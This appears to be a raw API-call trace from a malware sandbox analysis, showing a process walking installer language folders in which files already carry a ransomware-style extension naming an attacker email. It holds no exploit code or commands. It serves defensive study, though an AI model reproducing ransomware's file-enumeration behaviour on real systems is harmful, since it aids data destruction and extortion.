	[0134.169] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0134.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd700
	[0134.170] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.170] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984753fa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984753fa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.170] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98913e73, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.170] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.171] FindNextFileW (in: hFindFile=0x5dd700, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.171] FindClose (in: hFindFile=0x5dd700 | out: hFindFile=0x5dd700) returned 1
	[0134.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.172] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0134.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd640
	[0134.173] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9868b479, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.173] FindClose (in: hFindFile=0x5dd640 | out: hFindFile=0x5dd640) returned 1
	[0134.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.174] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0134.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0134.175] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.175] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a91503, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.176] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98add7f2, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98add7f2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f0a5b3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.176] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.176] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.176] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0134.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.177] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0134.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.177] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0134.178] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.178] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.178] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989863cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.178] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.178] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.179] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0134.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.179] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0134.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.180] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd5c0
	[0134.181] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.181] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989d29cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.181] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.181] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.181] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.181] FindClose (in: hFindFile=0x5dd5c0 | out: hFindFile=0x5dd5c0) returned 1
	[0134.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.182] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0134.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.182] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd000
	[0134.183] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.183] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c0ebaa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0134.183] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0134.184] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0134.184] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0134.184] FindClose (in: hFindFile=0x5dd000 | out: hFindFile=0x5dd000) returned 1
	[0134.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
